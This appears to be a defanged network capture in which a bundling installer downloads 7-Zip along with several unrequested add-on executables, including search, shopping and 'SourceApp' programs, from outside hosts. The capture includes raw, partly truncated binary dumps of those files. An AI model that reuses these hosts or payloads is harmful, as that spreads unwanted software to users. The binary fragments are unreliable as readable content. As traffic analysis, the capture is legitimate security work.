J.4i..b..[.K....St..#.,U...2Sw.c~p.<....A)......cX. ..Y..F........U
$.!.............r.}.......T4....4.{.!\`.. bVj.z.........a..n.Vw.|.nxN.
.l-X....([email protected]^.lU.T.I|...G.!....}.let........qL.v3&Q_.=..}.S8..
.,..c.....'.u....9HF'e.......>.f9..T.R....K0,..P.."....%a!...S...@\
0.%.!.,I..:....N..H..:.I%.4...Uv;.Z...Z....:v..........-.w............
..KDh...,.......9...p.nv#..sf.N.jJ6.q...U7x..1j.3.{i..c.r .P..^X..,...
v.g..g.Qg...o....Je.. ...n....b.X..\F.6..  ...:..iQA....y.....I.'sj'..
.....{y..O..#.L ..S....rp...L..4M..m...9....n..u....Q..g(k...h..zN.F..
.......JWz.......c....mj..Yr%....1RnDM.O.X.......1.f.....w......7A.}W.
C..F....^....f\9V.&..k.B.>l.<.....NqO....n.W.{-*D.6 .c.]...Kq..*
RB..)..t.E(...x......L.......i..,S...FU....\....;Fd..f.o.W.z-a'.......
 .......e.[...pK ...UFo..O!.O.^.&.}.(..ZU...-..T..a9,i4.0.|...pY.F....
......;[email protected]'...w;U.....O..r..>jb.....vE...{.#_......
I.....}=#..G....y...p.B...%..*S..ok.....S.<.......g..1\.....|BV....
..&.....O..P....NB..4G...hx."-.m..U..E]..w...|.>..?.......9...*<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=115620-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 192700

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 115620-308319/308320

e.s.-.d.o...e.s.-.e.c...e.s.-.e.s...e.s.-.g.t...e.s.-.h.n...e.s.-.m.x.
..e.s.-.n.i...e.s.-.p.a...e.s.-.p.e...e.s.-.p.r...e.s.-.p.y...e.s.-.s.
v...e.s.-.u.y...e.s.-.v.e...e.t.-.e.e...e.u.-.e.s...f.a.-.i.r...f.i.-.
f.i...f.o.-.f.o...f.r.-.b.e...f.r.-.c.a...f.r.-.c.h...f.r.-.f.r...f.r.
-.l.u...f.r.-.m.c...g.l.-.e.s...g.u.-.i.n...h.e.-.i.l...h.i.-.i.n...h.
r.-.b.a...h.r.-.h.r...h.u.-.h.u...h.y.-.a.m...i.d.-.i.d...i.s.-.i.s...
i.t.-.c.h...i.t.-.i.t...j.a.-.j.p...k.a.-.g.e...k.k.-.k.z...k.n.-.i.n.
..k.o.k.-.i.n.....k.o.-.k.r...k.y.-.k.g...l.t.-.l.t...l.v.-.l.v...m.i.
-.n.z...m.k.-.m.k...m.l.-.i.n...m.n.-.m.n...m.r.-.i.n...m.s.-.b.n...m.
s.-.m.y...m.t.-.m.t...n.b.-.n.o...n.l.-.b.e...n.l.-.n.l...n.n.-.n.o...
n.s.-.z.a...p.a.-.i.n...p.l.-.p.l...p.t.-.b.r...p.t.-.p.t...q.u.z.-.b.
o.....q.u.z.-.e.c.....q.u.z.-.p.e.....r.o.-.r.o...r.u.-.r.u...s.a.-.i.
n...s.e.-.f.i...s.e.-.n.o...s.e.-.s.e...s.k.-.s.k...s.l.-.s.i...s.m.a.
-.n.o.....s.m.a.-.s.e.....s.m.j.-.n.o.....s.m.j.-.s.e.....s.m.n.-.f.i.
....s.m.s.-.f.i.....s.q.-.a.l...s.r.-.b.a.-.c.y.r.l.....s.r.-.b.a.-.l.
a.t.n.....s.r.-.s.p.-.c.y.r.l.....s.r.-.s.p.-.l.a.t.n.....s.v.-.f.i...
s.v.-.s.e...s.w.-.k.e...s.y.r.-.s.y.....t.a.-.i.n...t.e.-.i.n...t.h.-.
t.h...t.n.-.z.a...t.r.-.t.r...t.t.-.r.u...u.k.-.u.a...u.r.-.p.k...u.z.
-.u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.
h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n...z.h.-.h.k...z.h.-.m.o...z.h.
-.s.g...z.h.-.t.w...z.u.-.z.a...................................... !"
#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^

<<< skipped >>>

GET /__utm.gif?utmwv=5.6.1&utms=2&utmn=1612936192&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692884405&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 19:34:03 GMT

Server: Golfe2

Content-Length: 35

Age: 206461

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Mon, 05 Jan 2015 19:34:03 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 206461..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;....


GET /__utm.gif?utmwv=5.6.1&utms=3&utmn=1547645067&utmhn=installer.filebulldog.com&utmhid=1815055538&utmr=-&utmp=Offer_Accepted&utmht=1420692885102&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 19:34:03 GMT

Server: Golfe2

Content-Length: 35

Age: 206462

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Mon, 05 Jan 2015 19:34:03 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 206462..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;....


GET /__utm.gif?utmwv=5.6.1&utms=4&utmn=312987750&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(pricefountain)&utmhid=1815055538&utmr=-&utmp=Install_Complete&utmht=1420692892734&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Mon, 05 Jan 2015 19:34:03 GMT

Server: Golfe2

Content-Length: 35

Age: 206469

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Mon, 05 Jan 2015 19:34:03 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 206469..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1427328-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 203904

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1427328-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 03b6908fc62b666b261c7c76b92e7fca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RqZhXHy3MIzQ0LjqwMuZ4ZoPZCggBAOYqhYgf3Nc41l2k8Il61wKOw==
.t......d...........^[Y]............S...\0F.....m.....2o....LF..@|....
...3....."....d....t...d......R.../....t.....>....4....u...........
[[email protected]..\0F.....l..3.Uh.LD.d.0d. .E...4....t..E.
........3..E...'...E........t..E..........U...LF..GO...E...8.........E
[email protected]..\0F.....l....A...
...}..~..E..Q...YY]..U..QSVW.E..E.f.......tI3.Uh.MD.d.0d. .]..U.......
......3.ZYYd.....2....E.f....Z.....u..1.........E........t....E..B..._
^[Y].U..QSVW.E..E.f.......tA3.Uh.MD.d.0d. .]..U.............3.ZYYd....
......U...KF...q......._^[Y]...SVW........... .....t"..3... .....f....
......t.......!.._^[.SVWU..............p....,.r.tw..........}C........
t-.......u......A.. ............................G..........H....uz;~.u
u......C........td..........Y........t......}C..y.....t...........3;.H
...u.3........;.X...u.3........;.`...u.3...._.....P....t.......P......
S.]_^[...U..QSV...E..E..-...3.UhFQD.d.2d.".E.3...h....E.3...l....E.3..
.p...3...GF.4..U...4......E..R....E...\......\....E...p......L....E...
.....tC.E...\......LF.;B@t/.E...\...P..LF..@@P.E..ph.......P.|!.......
......LF..@@.U...\....E.........E...p...;..............E..a....E...p..
....E.......E........t#.E...p...PV.E...h...P..!...U...h....E........t#
.E...p...PV.E...l...P.. ...U...l....E....... tF.E...p...PV.E.......P..
 ...U........E...p...PV.E.......P.. ...U........E...h.....~....E...r..
.E...l.....~....E...r...E...TQD.........u$...........E..K.............
.E......j.3..=....E......3.ZYYd..hMQD..E..............^[Y].......S<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 231240

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-308319/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E.........e..E.....3..M.d......Y_^[..].......U...E..MZ
..f9.t.3.]..H<..3..9PE..u......f9Q....].V3...`7B.....A...`7B......(
r.^.U...E...bB.]..5.bB.....A..U...E...bB...bB...bB...bB.].j$h..B......
3..].3..}..u.....Pt...j.Y .t" .t. .t^ .uH........}...u.....d....E..bB.
..bB..^.w\V.S...YY....E....V.....t6...t#Ht.............m......E..bB...
bB....E..bB...bB....E..bB...bB.3.C.].P....A..E............u.j.....<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d0621e570f7b-FRA

0......

GET /tmps.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:57:23 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1a55d0629e610f7b-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................%. @..%. @..%. @..%. @
..%. @..%. @..%. @..%. @..%  @..%$ @..%( @..%, @..%0 @..%4 @..%8 @..%&
lt; @..%@ @..%D @..%H @..%L @..%P @..%T @..%X @..%\ @..%` @..%d @..%h 
@..%l @..%t @..%x @..%| @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%
. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @[email protected].
......].U....V..t..u. ...xu...:[email protected]....^].2...U..QQ.F<.L
04;[email protected]...... ...t.SW...U.y....E.....tD.H..M..M....f..f........
....y.I......A...f..t....u"....1.E..E..9}[email protected].@_[..3...U

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 231240

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-308319/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}[email protected]
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Dj0zXZNUb-b3HSYglvbwwfXDzVAaatFwsu7x3ff8kDRry1NbIuZVqw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=291732-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 291732-583463/583464

Content-Length: 291732

Connection: keep-alive
.k.,...........MuV.t3"...=....I8.E$..dI.f........>S.......C......@%
..Q|E..2.....fww.~..]R.*$?).>[email protected]...\U..
G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h...
.).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z
...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'
......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<
;:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;...
.j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....
5"...(......../.....W..~..].@.. [email protected]%.Y...r]a.b..
.....)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....Ia
PJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......
'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....
Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@
$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@..
[email protected]....\<1.|.*...m>....o#.@..
&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|
.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].,...g.=
}4n......aH...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V.
..w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M..
...m.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf..........B
Uw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.
....G..?..i-.2.....hD..?....^?..B........~.....>]........G0...F<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1223424-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407808

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1223424-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 b9d190e672a02ec2871a0fb0afc3988a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yibZEEDw-az2LON8uvjT2EpPwHG261BUPFbf8rnGj6m7_z9ZXnE22Q==
.............~....&...]_^[..SVWUQ..$..3..E..X.K..|Ã..E..........$R..
...l)A..Z.....GKu...Z]_^[.SVWUQ..$..3..E..X.K..|Ã..E.........x..t...
$.F.......u.FKu...Z]_^[.U........3.......3.Uh.0A.d.0d. .......E..@....
.........E..E...E.Pj........ 0F...=.............A...t...F...3.ZYYd..h.
0A......................]...U.....SVW.M..U..E..U..E.......E..}..u.U.D.
..Y.U..E.......E..@[email protected]..|[email protected][email protected]........;}.tR.G..X.K...
|F.G...........U..........t&...E..R...;[email protected]...
u..E..M.u._^[..].....P.'?.....S...........t...._...[..SVWUQ......$..G.
.X.K..|.C3..G.................u.FKu...$...$Z]_^[[email protected]..|
.C3..G.........@..........}.FKu......l)A..x......G..B...]_^[.....P.w?.
....SVW.....F..X.K...|....F..o......x...K...u._^[...U.....SVW..t......
....M..U..E.3..E..X........A..L....U..B...IF......3.Uh.2A.d.0d. .}..u.
..IF..@ [email protected]..|[email protected]..@....
^...GNu..}..t;[email protected]..| F3...IF..@...........{[email protected]
Nu.3.ZYYd..h.2A...IF........(......E..}[email protected]._^[..]...
..SV.1........F..q...........U.....~........^[[email protected]..
